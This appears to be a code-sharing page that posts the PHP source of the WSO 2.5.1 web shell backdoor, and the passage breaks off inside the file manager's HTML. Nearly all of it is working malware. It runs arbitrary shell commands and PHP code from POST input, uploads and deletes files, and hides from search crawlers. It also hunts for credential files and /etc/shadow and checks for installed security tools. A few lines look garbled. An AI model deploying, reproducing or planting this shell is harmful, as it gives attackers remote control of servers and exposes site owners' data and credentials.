Posted By

oRb on 04/05/13


Tagged

WSOwso251wso 251webshellwsophpwso25phpwso251php


Versions (?)

WSO 2.5.1


 / Published in: PHP
 

URL: http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/wso2.5.1.zip

WSO is a PHP shell backdoor that provide an interface for various remote operations. It can perform everything from remote code execution, bruteforcing of servers, provide server information, and more. MD5 | 27cf360acf4c825f9fb9998674ef052f

  1. <?php
  2.  
  3. $color = "#df5";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7.  
  8. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  9. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  10. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  11. header('HTTP/1.0 404 Not Found');
  12. }
  13. }
  14.  
  15. @ini_set('error_log',NULL);
  16. @ini_set('log_errors',0);
  17. @ini_set('max_execution_time',0);
  18. @define('WSO_VERSION', '2.5.1');
  19.  
  20. function WSOstripslashes($array) {
  21. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  22. }
  23. $_POST = WSOstripslashes($_POST);
  24. $_COOKIE = WSOstripslashes($_COOKIE);
  25. }
  26.  
  27. function wsoLogin() {
  28. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  29. }
  30.  
  31. function WSOsetcookie($k, $v) {
  32. $_COOKIE[$k] = $v;
  33. setcookie($k, $v);
  34. }
  35.  
  36. if(!empty($auth_pass)) {
  37. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  38. WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  39.  
  40. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  41. wsoLogin();
  42. }
  43.  
  44. if(strtolower(substr(PHP_OS,0,3)) == "win")
  45. $os = 'win';
  46. else
  47. $os = 'nix';
  48.  
  49. $safe_mode = @ini_get('safe_mode');
  50. if(!$safe_mode)
  51.  
  52. $disable_functions = @ini_get('disable_functions');
  53. $home_cwd = @getcwd();
  54. if(isset($_POST['c']))
  55. @chdir($_POST['c']);
  56. $cwd = @getcwd();
  57. if($os == 'win') {
  58. $home_cwd = str_replace("\\", "/", $home_cwd);
  59. $cwd = str_replace("\\", "/", $cwd);
  60. }
  61. if($cwd[strlen($cwd)-1] != '/')
  62. $cwd .= '/';
  63.  
  64. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  65. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  66.  
  67. if($os == 'win')
  68. $aliases = array(
  69. "List Directory" => "dir",
  70. "Find index.php in current dir" => "dir /s /w /b index.php",
  71. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  72. "Show active connections" => "netstat -an",
  73. "Show running services" => "net start",
  74. "User accounts" => "net user",
  75. "Show computers" => "net view",
  76. "ARP Table" => "arp -a",
  77. "IP Configuration" => "ipconfig /all"
  78. );
  79. else
  80. $aliases = array(
  81. "List dir" => "ls -lha",
  82. "list file attributes on a Linux second extended file system" => "lsattr -va",
  83. "show opened ports" => "netstat -an | grep -i listen",
  84. "process status" => "ps aux",
  85. "Find" => "",
  86. "find all suid" => "find / -type f -perm -04000 -ls",
  87. "find suid in current dir" => "find . -type f -perm -04000 -ls",
  88. "find all sgid" => "find / -type f -perm -02000 -ls",
  89. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  90. "find config.inc.php" => "find / -type f -name config.inc.php",
  91. "find config*" => "find / -type f -name \"config*\"",
  92. "find config* in current dir" => "find . -type f -name \"config*\"",
  93. "find all writable folders and files" => "find / -perm -2 -ls",
  94. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  95. "find all service.pwd" => "find / -type f -name service.pwd",
  96. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  97. "find all .htpasswd" => "find / -type f -name .htpasswd",
  98. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  99. "find all .bash_history" => "find / -type f -name .bash_history",
  100. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  101. "find all .fetchmailrc" => "find / -type f -name .fetchmailrc",
  102. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  103. "Locate" => "",
  104. "locate httpd.conf" => "locate httpd.conf",
  105. "locate vhosts.conf" => "locate vhosts.conf",
  106. "locate proftpd.conf" => "locate proftpd.conf",
  107. "locate psybnc.conf" => "locate psybnc.conf",
  108. "locate my.conf" => "locate my.conf",
  109. "locate admin.php" =>"locate admin.php",
  110. "locate cfg.php" => "locate cfg.php",
  111. "locate conf.php" => "locate conf.php",
  112. "locate config.dat" => "locate config.dat",
  113. "locate config.php" => "locate config.php",
  114. "locate config.inc" => "locate config.inc",
  115. "locate config.inc.php" => "locate config.inc.php",
  116. "locate config.default.php" => "locate config.default.php",
  117. "locate config*" => "locate config",
  118. "locate .conf"=>"locate '.conf'",
  119. "locate .pwd" => "locate '.pwd'",
  120. "locate .sql" => "locate '.sql'",
  121. "locate .htpasswd" => "locate '.htpasswd'",
  122. "locate .bash_history" => "locate '.bash_history'",
  123. "locate .mysql_history" => "locate '.mysql_history'",
  124. "locate .fetchmailrc" => "locate '.fetchmailrc'",
  125. "locate backup" => "locate backup",
  126. "locate dump" => "locate dump",
  127. "locate priv" => "locate priv"
  128. );
  129.  
  130. function wsoHeader() {
  131. if(empty($_POST['charset']))
  132. $_POST['charset'] = $GLOBALS['default_charset'];
  133. global $color;
  134. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  135. <style>
  136. body{background-color:#444;color:#e1e1e1;}
  137. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  138. table.info{ color:#fff;background-color:#222; }
  139. span,h1,a{ color: $color !important; }
  140. span{ font-weight: bolder; }
  141. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  142. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  143. a{ text-decoration:none; }
  144. a:hover{ text-decoration:underline; }
  145. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  146. .bigarea{ width:100%;height:300px; }
  147. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  148. form{ margin:0px; }
  149. #toolsTbl{ text-align:center; }
  150. .toolsInp{ width: 300px }
  151. .main th{text-align:left;background-color:#5e5e5e;}
  152. .main tr:hover{background-color:#5e5e5e}
  153. .l1{background-color:#444}
  154. .l2{background-color:#333}
  155. pre{font-family:Courier,Monospace;}
  156. </style>
  157. <script>
  158. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  159. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  160. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  161. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  162. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  163. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  164. var d = document;
  165. function set(a,c,p1,p2,p3,charset) {
  166. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  167. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  168. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  169. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  170. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  171. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  172. }
  173. function g(a,c,p1,p2,p3,charset) {
  174. set(a,c,p1,p2,p3,charset);
  175. d.mf.submit();
  176. }
  177. function a(a,c,p1,p2,p3,charset) {
  178. set(a,c,p1,p2,p3,charset);
  179. var params = 'ajax=true';
  180. for(i=0;i<d.mf.elements.length;i++)
  181. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  182. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  183. }
  184. function sr(url, params) {
  185. if (window.XMLHttpRequest)
  186. req = new XMLHttpRequest();
  187. else if (window.ActiveXObject)
  188. req = new ActiveXObject('Microsoft.XMLHTTP');
  189. if (req) {
  190. req.onreadystatechange = processReqChange;
  191. req.open('POST', url, true);
  192. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  193. req.send(params);
  194. }
  195. }
  196. function processReqChange() {
  197. if( (req.readyState == 4) )
  198. if(req.status == 200) {
  199. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  200. var arr=reg.exec(req.responseText);
  201. eval(arr[2].substr(0, arr[1]));
  202. } else alert('Request error!');
  203. }
  204. </script>
  205. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  206. <form method=post name=mf style='display:none;'>
  207. <input type=hidden name=a>
  208. <input type=hidden name=c>
  209. <input type=hidden name=p1>
  210. <input type=hidden name=p2>
  211. <input type=hidden name=p3>
  212. <input type=hidden name=charset>
  213. </form>";
  214. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  215. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  216. $totalSpace = $totalSpace?$totalSpace:1;
  217. $release = @php_uname('r');
  218. $kernel = @php_uname('s');
  219. $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  220. if(strpos('Linux', $kernel) !== false)
  221. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  222. else
  223. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  224. if(!function_exists('posix_getegid')) {
  225. $user = @get_current_user();
  226. $uid = @getmyuid();
  227. $gid = @getmygid();
  228. $group = "?";
  229. } else {
  230. $user = $uid['name'];
  231. $uid = $uid['uid'];
  232. $group = $gid['name'];
  233. $gid = $gid['gid'];
  234. }
  235.  
  236. $cwd_links = '';
  237. $path = explode("/", $GLOBALS['cwd']);
  238. $n=count($path);
  239. for($i=0; $i<$n-1; $i++) {
  240. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  241. for($j=0; $j<=$i; $j++)
  242. $cwd_links .= $path[$j].'/';
  243. $cwd_links .= "\")'>".$path[$i]."/</a>";
  244. }
  245.  
  246. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  247. $opt_charsets = '';
  248. foreach($charsets as $item)
  249. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  250.  
  251. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  252. if(!empty($GLOBALS['auth_pass']))
  253. $m['Logout'] = 'Logout';
  254. $m['Self remove'] = 'SelfRemove';
  255. $menu = '';
  256. foreach($m as $k => $v)
  257. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  258.  
  259. $drives = "";
  260. if($GLOBALS['os'] == 'win') {
  261. foreach(range('c','z') as $drive)
  262. if(is_dir($drive.':\\'))
  263. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  264. }
  265. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  266. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  267. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  268. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  269. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  270. }
  271.  
  272. function wsoFooter() {
  273. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  274. echo "
  275. </div>
  276. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  277. <tr>
  278. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  279. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  280. </tr><tr>
  281. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  282. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  283. </tr><tr>
  284. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  285. <td><form method='post' ENCTYPE='multipart/form-data'>
  286. <input type=hidden name=a value='FilesMAn'>
  287. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  288. <input type=hidden name=p1 value='uploadFile'>
  289. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  290. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  291. </tr></table></div></body></html>";
  292. }
  293.  
  294. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  295. function posix_getpwuid($p) {return false;} }
  296. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  297. function posix_getgrgid($p) {return false;} }
  298.  
  299. function wsoEx($in) {
  300. $out = '';
  301. if (function_exists('exec')) {
  302. @exec($in,$out);
  303. $out = @join("\n",$out);
  304. } elseif (function_exists('passthru')) {
  305. @passthru($in);
  306. $out = ob_get_clean();
  307. } elseif (function_exists('system')) {
  308. @system($in);
  309. $out = ob_get_clean();
  310. } elseif (function_exists('shell_exec')) {
  311. $out = shell_exec($in);
  312. } elseif (is_resource($f = @popen($in,"r"))) {
  313. $out = "";
  314. while(!@feof($f))
  315. $out .= fread($f,1024);
  316. pclose($f);
  317. }
  318. return $out;
  319. }
  320.  
  321. function wsoViewSize($s) {
  322. if (is_int($s))
  323. $s = sprintf("%u", $s);
  324.  
  325. if($s >= 1073741824)
  326. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  327. elseif($s >= 1048576)
  328. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  329. elseif($s >= 1024)
  330. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  331. else
  332. return $s . ' B';
  333. }
  334.  
  335. function wsoPerms($p) {
  336. if (($p & 0xC000) == 0xC000)$i = 's';
  337. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  338. elseif (($p & 0x8000) == 0x8000)$i = '-';
  339. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  340. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  341. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  342. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  343. else $i = 'u';
  344. $i .= (($p & 0x0100) ? 'r' : '-');
  345. $i .= (($p & 0x0080) ? 'w' : '-');
  346. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  347. $i .= (($p & 0x0020) ? 'r' : '-');
  348. $i .= (($p & 0x0010) ? 'w' : '-');
  349. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  350. $i .= (($p & 0x0004) ? 'r' : '-');
  351. $i .= (($p & 0x0002) ? 'w' : '-');
  352. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  353. return $i;
  354. }
  355.  
  356. function wsoPermsColor($f) {
  357. if (!@is_readable($f))
  358. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  359. elseif (!@is_writable($f))
  360. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  361. else
  362. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  363. }
  364.  
  365. function wsoScandir($dir) {
  366. if(function_exists("scandir")) {
  367. return scandir($dir);
  368. } else {
  369. $dh = opendir($dir);
  370. while (false !== ($filename = readdir($dh)))
  371. $files[] = $filename;
  372. return $files;
  373. }
  374. }
  375.  
  376. function wsoWhich($p) {
  377. $path = wsoEx('which ' . $p);
  378. if(!empty($path))
  379. return $path;
  380. return false;
  381. }
  382.  
  383. function actionSecInfo() {
  384. wsoHeader();
  385. echo '<h1>Server security information</h1><div class=content>';
  386. function wsoSecParam($n, $v) {
  387. $v = trim($v);
  388. if($v) {
  389. echo '<span>' . $n . ': </span>';
  390. if(strpos($v, "\n") === false)
  391. echo $v . '<br>';
  392. else
  393. echo '<pre class=ml1>' . $v . '</pre>';
  394. }
  395. }
  396.  
  397. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  398. if(function_exists('apache_get_modules'))
  399. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  400. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  401. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  402. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  403. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  404. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  405. $temp=array();
  406. if(function_exists('mysql_get_client_info'))
  407. $temp[] = "MySql (".mysql_get_client_info().")";
  408. if(function_exists('mssql_connect'))
  409. $temp[] = "MSSQL";
  410. if(function_exists('pg_connect'))
  411. $temp[] = "PostgreSQL";
  412. if(function_exists('oci_connect'))
  413. $temp[] = "Oracle";
  414. wsoSecParam('Supported databases', implode(', ', $temp));
  415. echo '<br>';
  416.  
  417. if($GLOBALS['os'] == 'nix') {
  418. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  419. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  420. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  421. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  422. if(!$GLOBALS['safe_mode']) {
  423. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  424. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  425. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  426. echo '<br>';
  427. $temp=array();
  428. foreach ($userful as $item)
  429. if(wsoWhich($item))
  430. $temp[] = $item;
  431. wsoSecParam('Userful', implode(', ',$temp));
  432. $temp=array();
  433. foreach ($danger as $item)
  434. if(wsoWhich($item))
  435. $temp[] = $item;
  436. wsoSecParam('Danger', implode(', ',$temp));
  437. $temp=array();
  438. foreach ($downloaders as $item)
  439. if(wsoWhich($item))
  440. $temp[] = $item;
  441. wsoSecParam('Downloaders', implode(', ',$temp));
  442. echo '<br/>';
  443. wsoSecParam('HDD space', wsoEx('df -h'));
  444. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  445. echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  446. if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  447. $temp = "";
  448. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  449. $uid = @posix_getpwuid($_POST['p2']);
  450. if ($uid)
  451. $temp .= join(':',$uid)."\n";
  452. }
  453. echo '<br/>';
  454. wsoSecParam('Users', $temp);
  455. }
  456. }
  457. } else {
  458. wsoSecParam('OS Version',wsoEx('ver'));
  459. wsoSecParam('Account Settings',wsoEx('net accounts'));
  460. wsoSecParam('User Accounts',wsoEx('net user'));
  461. }
  462. echo '</div>';
  463. wsoFooter();
  464. }
  465.  
  466. function actionPhp() {
  467. if(isset($_POST['ajax'])) {
  468. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  469. eval($_POST['p1']);
  470. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  471. echo strlen($temp), "\n", $temp;
  472. }
  473. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  474. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  475.  
  476. wsoHeader();
  477. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  478. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  479. $tmp = ob_get_clean();
  480. '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  481. '!td, th {(.*)}!msiU',
  482. '!<img[^>]+>!msiU',
  483. ), array (
  484. '',
  485. '.e, .v, .h, .h th {$1}',
  486. ''
  487. ), $tmp);
  488. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  489. }
  490. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  491. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  492. if(!empty($_POST['p1'])) {
  493. eval($_POST['p1']);
  494. }
  495. echo '</pre></div>';
  496. wsoFooter();
  497. }
  498.  
  499. function actionFilesMan() {
  500. if (!empty ($_COOKIE['f']))
  501. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  502.  
  503. if(!empty($_POST['p1'])) {
  504. switch($_POST['p1']) {
  505. case 'uploadFile':
  506. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  507. echo "Can't upload!";
  508. break;
  509. case 'mkdir':
  510. if(!@mkdir($_POST['p2']))
  511. echo "Can't create!";
  512. break;
  513. case 'delete':
  514. function deleteDir($path) {
  515. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  516. $dh = opendir($path);
  517. while ( ($item = readdir($dh) ) !== false) {
  518. $item = $path.$item;
  519. if ( (basename($item) == "..") || (basename($item) == ".") )
  520. continue;
  521. $type = filetype($item);
  522. if ($type == "dir")
  523. deleteDir($item);
  524. else
  525. @unlink($item);
  526. }
  527. closedir($dh);
  528. @rmdir($path);
  529. }
  530. if(is_array(@$_POST['f']))
  531. foreach($_POST['f'] as $f) {
  532. if($f == '..')
  533. continue;
  534. $f = urldecode($f);
  535. if(is_dir($f))
  536. deleteDir($f);
  537. else
  538. @unlink($f);
  539. }
  540. break;
  541. case 'paste':
  542. if($_COOKIE['act'] == 'copy') {
  543. function copy_paste($c,$s,$d){
  544. if(is_dir($c.$s)){
  545. mkdir($d.$s);
  546. $h = @opendir($c.$s);
  547. while (($f = @readdir($h)) !== false)
  548. if (($f != ".") and ($f != ".."))
  549. copy_paste($c.$s.'/',$f, $d.$s.'/');
  550. } elseif(is_file($c.$s))
  551. @copy($c.$s, $d.$s);
  552. }
  553. foreach($_COOKIE['f'] as $f)
  554. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  555. } elseif($_COOKIE['act'] == 'move') {
  556. function move_paste($c,$s,$d){
  557. if(is_dir($c.$s)){
  558. mkdir($d.$s);
  559. $h = @opendir($c.$s);
  560. while (($f = @readdir($h)) !== false)
  561. if (($f != ".") and ($f != ".."))
  562. copy_paste($c.$s.'/',$f, $d.$s.'/');
  563. } elseif(@is_file($c.$s))
  564. @copy($c.$s, $d.$s);
  565. }
  566. foreach($_COOKIE['f'] as $f)
  567. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  568. } elseif($_COOKIE['act'] == 'zip') {
  569. if(class_exists('ZipArchive')) {
  570. $zip = new ZipArchive();
  571. if ($zip->open($_POST['p2'], 1)) {
  572. chdir($_COOKIE['c']);
  573. foreach($_COOKIE['f'] as $f) {
  574. if($f == '..')
  575. continue;
  576. if(@is_file($_COOKIE['c'].$f))
  577. $zip->addFile($_COOKIE['c'].$f, $f);
  578. elseif(@is_dir($_COOKIE['c'].$f)) {
  579. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  580. foreach ($iterator as $key=>$value) {
  581. $zip->addFile(realpath($key), $key);
  582. }
  583. }
  584. }
  585. chdir($GLOBALS['cwd']);
  586. $zip->close();
  587. }
  588. }
  589. } elseif($_COOKIE['act'] == 'unzip') {
  590. if(class_exists('ZipArchive')) {
  591. $zip = new ZipArchive();
  592. foreach($_COOKIE['f'] as $f) {
  593. if($zip->open($_COOKIE['c'].$f)) {
  594. $zip->extractTo($GLOBALS['cwd']);
  595. $zip->close();
  596. }
  597. }
  598. }
  599. } elseif($_COOKIE['act'] == 'tar') {
  600. chdir($_COOKIE['c']);
  601. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  602. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  603. chdir($GLOBALS['cwd']);
  604. }
  605. unset($_COOKIE['f']);
  606. setcookie('f', '', time() - 3600);
  607. break;
  608. default:
  609. if(!empty($_POST['p1'])) {
  610. WSOsetcookie('act', $_POST['p1']);
  611. WSOsetcookie('f', serialize(@$_POST['f']));
  612. WSOsetcookie('c', @$_POST['c']);
  613. }
  614. break;
  615. }
  616. }
  617. wsoHeader();
  618. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  619. $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  620. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  621. global $sort;
  622. $sort = array('name', 1);
  623. if(!empty($_POST['p1'])) {
  624. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  625. $sort = array($match[1], (int)$match[2]);
  626. }
  627. echo "<script>
  628. function sa() {
  629. for(i=0;i<d.files.elements.length;i++)
  630. if(d.files.elements[i].type == 'checkbox')
  631. d.files.elements[i].checked = d.files.elements[0].checked;
  632. }
  633. </script>
  634. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
